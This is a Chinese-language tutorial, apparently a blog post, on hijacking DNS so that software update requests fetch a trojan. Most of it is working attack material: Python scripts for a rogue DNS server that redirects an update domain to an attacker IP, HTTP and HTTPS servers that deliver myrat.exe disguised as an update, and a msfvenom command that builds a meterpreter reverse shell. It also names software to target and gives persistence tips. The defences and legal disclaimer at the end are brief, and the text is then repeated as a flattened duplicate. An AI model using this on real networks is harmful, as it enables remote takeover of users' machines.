技术分享 | 劫持DNS通过流量植入木马实验
字数 1256 2025-08-18 11:37:19

DNS劫持与流量植入木马技术分析

1. 技术概述

本技术通过劫持DNS解析和HTTP/HTTPS流量,实现对目标软件更新过程的中间人攻击,从而植入恶意木马程序。主要适用于以下场景:

  • 已控制目标网络中的路由器或网络设备
  • 能够拦截内网用户流量
  • 目标软件使用HTTP/HTTPS进行自动更新

2. 技术实现步骤

2.1 DNS服务器部署

2.1.1 基本DNS劫持

使用修改后的Python DNS服务器脚本,实现对特定域名的劫持:

#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
"""
import os
import re
import socket
import threading
import time
import dns.resolver

class DNSQuery(object):
    # DNS查询处理类
    def __init__(self, raw):
        self._raw = raw
        self._query = ""
        type_ = (ord(raw[2]) >> 3) & 15  # Opcode bits
        if type_ == 0:  # Standard query
            i = 12
            j = ord(raw[i])
            while j != 0:
                self._query += raw[i + 1:i + j + 1] + '.'
                i = i + j + 1
                j = ord(raw[i])

    def response(self, resolution):
        # 构造DNS响应包
        retVal = ""
        if self._query:
            retVal += self._raw[:2]  # Transaction ID
            retVal += "\x85\x80"  # Flags (Standard query response, No error)
            retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00"  # Questions and Answers Counts
            retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)]  # Original Domain Name Query
            retVal += "\xc0\x0c"  # Pointer to domain name
            retVal += "\x00\x01"  # Type A
            retVal += "\x00\x01"  # Class IN
            retVal += "\x00\x00\x00\x20"  # TTL (32 seconds)
            retVal += "\x00\x04"  # Data length
            retVal += "".join(chr(int(_)) for _ in resolution.split('.'))  # 4 bytes of IP
        return retVal

class DNSServer(object):
    def __init__(self):
        self.my_resolver = dns.resolver.Resolver()
        self.my_resolver.nameservers = ['8.8.8.8']  # 使用Google DNS作为上游
        self._check_localhost()
        self._requests = []
        self._lock = threading.Lock()
        try:
            self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)
        except AttributeError:
            self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self._socket.bind(("", 53))  # 绑定到53端口
        self._running = False
        self._initialized = False

    def get_domain_A(self, domain):
        try:
            results = self.my_resolver.query(domain, 'A')
            for i in results.response.answer:
                for j in i.items:
                    try:
                        ip_address = j.address
                        if re.match('\d+\.+\d+\.+\d+\.+\d', ip_address):
                            return ip_address
                    except AttributeError as e:
                        continue
        except Exception as e:
            return '127.0.0.1'

    def run(self):
        def _():
            try:
                self._running = True
                self._initialized = True
                while True:
                    data, addr = self._socket.recvfrom(1024)
                    _ = DNSQuery(data)
                    domain = _._query[:-1]
                    ip = self.get_domain_A(domain)
                    # 特定域名劫持
                    if domain == 'cdn.netsarang.net':
                        ip = '192.168.80.142'  # 攻击者服务器IP
                    print domain, ' -> ', ip
                    self._socket.sendto(_.response(ip), addr)
                    with self._lock:
                        self._requests.append(_._query)
            except KeyboardInterrupt:
                raise
            finally:
                self._running = False

        thread = threading.Thread(target=_)
        thread.daemon = True
        thread.start()

关键点:

  1. 使用Google DNS(8.8.8.8)作为上游DNS服务器,确保普通域名正常解析
  2. 对特定域名(如cdn.netsarang.net)返回攻击者控制的IP地址
  3. 绑定到53端口,处理DNS查询请求

2.2 HTTP代理服务器部署

2.2.1 基本HTTP代理

# -*- coding: UTF-8 -*-
import socket
import threading, getopt, sys, string
import re

# 设置默认的最大连接数和端口号
list=50
port=80
file_contents=open('myrat.exe','rb').read()

def req_server():
    return 'HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents 

def jonnyS(client, address):
    try:
        # 设置超时时间
        client.settimeout(500)
        # 接收数据
        buf = client.recv(2048)
        print buf
        # 将恶意文件发送给客户端
        client.send(req_server())
    except socket.timeout:
        print 'time out'
    # 关闭与客户端的连接
    client.close()

def main():
    # 创建socket对象
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 将socket绑定到指定地址
    sock.bind(('0.0.0.0', port))
    # 设置最多连接数量
    sock.listen(list)
    while True:
        client, address = sock.accept()
        thread = threading.Thread(target=jonnyS, args=(client, address))
        thread.start()

if __name__ == '__main__':
    main()

关键点:

  1. 监听80端口,等待HTTP连接
  2. 当收到请求时,直接返回恶意文件(myrat.exe)
  3. 伪造HTTP响应头,模拟合法软件更新服务器

2.3 HTTPS代理服务器部署

2.3.1 HTTPS代理实现

import socketserver, ssl, time

class MyHTTPSHandler_socket(socketserver.BaseRequestHandler):
    def handle(self):
        context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
        context.load_cert_chain(certfile="cert.pem")
        SSLSocket = context.wrap_socket(self.request, server_side=True)
        self.data = SSLSocket.recv(1024)
        print(self.data)
        file_contents=open('myrat.exe','rb').read()
        buf = 'HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents 
        SSLSocket.send(buf)

if __name__ == "__main__":
    port = 443
    httpd = socketserver.TCPServer(('0.0.0.0', port), MyHTTPSHandler_socket)
    httpd.serve_forever()

2.3.2 生成SSL证书

openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes

关键点:

  1. 使用SSLContext创建SSL上下文
  2. 加载自签名证书
  3. 对socket进行SSL包装,实现HTTPS服务
  4. 同样返回恶意文件,但通过HTTPS协议

2.4 木马生成

使用Metasploit生成恶意负载:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=4444 -f exe -o myrat.exe

3. 攻击流程

  1. 部署DNS服务器,劫持目标域名(如软件更新域名)到攻击者服务器
  2. 部署HTTP/HTTPS代理服务器,监听相应端口
  3. 当目标用户启动软件并检查更新时:
    • 软件向被劫持域名发送更新请求
    • DNS服务器返回攻击者服务器IP
    • 请求被重定向到攻击者服务器
    • 攻击者服务器返回恶意程序而非正常更新
    • 用户执行恶意程序,攻击者获得权限

4. 技术要点与防御

4.1 攻击要点

  1. 目标选择:针对自动更新或后台静默更新的应用程序成功率更高

    • 如Xshell、Notepad++、Firefox等
    • 这类软件通常有自动更新功能且用户不易察觉
  2. HTTPS处理:对于HTTPS流量需要注意证书问题

    • 使用CNAME记录绕过:将www.baidu.com重定向到www.exploit.com
    • 确保拥有www.exploit.com的合法证书
  3. 持久性控制:在路由器上修改DNS可作为持久性控制手段

    • 即使权限丢失,仍可通过DNS继续植入恶意程序

4.2 防御措施

  1. DNS安全

    • 使用DNSSEC验证DNS响应
    • 使用可信的DNS服务器(如8.8.8.8、1.1.1.1)
    • 监控DNS查询异常
  2. HTTPS验证

    • 软件应严格验证更新服务器的证书
    • 使用证书固定技术(Certificate Pinning)
  3. 更新安全

    • 验证下载文件的数字签名
    • 使用哈希校验下载文件完整性
  4. 网络监控

    • 监控内网异常DNS请求
    • 检测异常流量模式

5. 法律与道德声明

本技术文档仅用于安全研究与防御目的,未经授权对他人系统实施此类攻击是违法行为。安全研究人员应在合法授权范围内进行测试,并遵守相关法律法规。

DNS劫持与流量植入木马技术分析 1. 技术概述 本技术通过劫持DNS解析和HTTP/HTTPS流量,实现对目标软件更新过程的中间人攻击,从而植入恶意木马程序。主要适用于以下场景: 已控制目标网络中的路由器或网络设备 能够拦截内网用户流量 目标软件使用HTTP/HTTPS进行自动更新 2. 技术实现步骤 2.1 DNS服务器部署 2.1.1 基本DNS劫持 使用修改后的Python DNS服务器脚本,实现对特定域名的劫持: 关键点: 使用Google DNS(8.8.8.8)作为上游DNS服务器,确保普通域名正常解析 对特定域名(如cdn.netsarang.net)返回攻击者控制的IP地址 绑定到53端口,处理DNS查询请求 2.2 HTTP代理服务器部署 2.2.1 基本HTTP代理 关键点: 监听80端口,等待HTTP连接 当收到请求时,直接返回恶意文件(myrat.exe) 伪造HTTP响应头,模拟合法软件更新服务器 2.3 HTTPS代理服务器部署 2.3.1 HTTPS代理实现 2.3.2 生成SSL证书 关键点: 使用SSLContext创建SSL上下文 加载自签名证书 对socket进行SSL包装,实现HTTPS服务 同样返回恶意文件,但通过HTTPS协议 2.4 木马生成 使用Metasploit生成恶意负载: 3. 攻击流程 部署DNS服务器,劫持目标域名(如软件更新域名)到攻击者服务器 部署HTTP/HTTPS代理服务器,监听相应端口 当目标用户启动软件并检查更新时: 软件向被劫持域名发送更新请求 DNS服务器返回攻击者服务器IP 请求被重定向到攻击者服务器 攻击者服务器返回恶意程序而非正常更新 用户执行恶意程序,攻击者获得权限 4. 技术要点与防御 4.1 攻击要点 目标选择 :针对自动更新或后台静默更新的应用程序成功率更高 如Xshell、Notepad++、Firefox等 这类软件通常有自动更新功能且用户不易察觉 HTTPS处理 :对于HTTPS流量需要注意证书问题 使用CNAME记录绕过:将www.baidu.com重定向到www.exploit.com 确保拥有www.exploit.com的合法证书 持久性控制 :在路由器上修改DNS可作为持久性控制手段 即使权限丢失,仍可通过DNS继续植入恶意程序 4.2 防御措施 DNS安全 : 使用DNSSEC验证DNS响应 使用可信的DNS服务器(如8.8.8.8、1.1.1.1) 监控DNS查询异常 HTTPS验证 : 软件应严格验证更新服务器的证书 使用证书固定技术(Certificate Pinning) 更新安全 : 验证下载文件的数字签名 使用哈希校验下载文件完整性 网络监控 : 监控内网异常DNS请求 检测异常流量模式 5. 法律与道德声明 本技术文档仅用于安全研究与防御目的,未经授权对他人系统实施此类攻击是违法行为。安全研究人员应在合法授权范围内进行测试,并遵守相关法律法规。